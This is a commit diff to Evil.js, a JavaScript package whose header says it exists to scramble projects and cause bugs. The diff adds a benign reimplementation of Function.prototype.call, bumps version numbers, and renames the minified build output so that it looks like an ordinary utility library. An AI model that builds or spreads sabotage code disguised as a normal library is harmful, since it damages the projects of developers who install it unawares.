call bind 重写

This commit is contained in:
BaoZhangChao 2022-08-19 10:16:39 +08:00
parent f00be00fe0
commit 69c6bab30d
3 changed files with 17 additions and 3 deletions

View File

@ -1,6 +1,6 @@
/** /**
* Evil.js * Evil.js
* @version 0.0.1 * @version 1.0.2
* @author wheatup * @author wheatup
* *
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs. * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
@ -104,4 +104,18 @@
} }
return result; return result;
} }
/**
*
* @zh 重写多个方法 正常无异
*/
Function.prototype.myCall = function() {
let arr = [...arguments];
let obj = arr.shift()||window;
obj.p = this;
const result = obj.p(...arr);
delete obj.p;
return result;
}
})((0, eval('this'))); })((0, eval('this')));

View File

@ -1,11 +1,11 @@
{ {
"name": "evil", "name": "evil",
"version": "1.0.0", "version": "1.0.2",
"description": "", "description": "",
"main": "index.js", "main": "index.js",
"scripts": { "scripts": {
"test": "echo \"Error: no test specified\" && exit 1", "test": "echo \"Error: no test specified\" && exit 1",
"build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" "build": "uglifyjs --compress --mangle --output build/adj-ordinaryjs.min.js -- index.js"
}, },
"keywords": [], "keywords": [],
"author": "", "author": "",